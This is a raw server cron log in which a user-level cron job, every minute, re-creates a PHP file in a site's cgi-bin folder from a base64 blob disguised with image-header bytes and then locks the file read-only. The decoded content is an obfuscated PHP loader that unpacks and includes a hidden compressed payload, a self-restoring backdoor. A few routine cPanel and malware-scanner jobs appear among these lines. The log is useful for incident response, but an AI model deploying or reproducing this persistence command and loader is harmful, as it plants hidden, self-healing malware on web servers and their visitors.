Nov 15 17:51:01 server CROND[23202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:52:01 server CROND[23559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:53:01 server CROND[23821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:54:01 server CROND[24074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:55:01 server CROND[24356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:55:01 server CROND[24357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:55:01 server CROND[24358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:56:01 server CROND[24676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:57:01 server CROND[25027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:57:01 server CROND[25028]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:58:01 server CROND[25289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:59:01 server CROND[25525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:00:01 server CROND[25783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:00:01 server CROND[25786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 18:00:01 server CROND[25787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:00:01 server CROND[25788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:00:01 server CROND[25785]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 18:01:01 server CROND[26120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:01:01 server CROND[26121]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 18:01:01 server run-parts(/etc/cron.hourly)[26121]: starting 0anacron
Nov 15 18:01:01 server run-parts(/etc/cron.hourly)[26133]: finished 0anacron
Nov 15 18:02:01 server CROND[26506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:03:01 server CROND[26765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
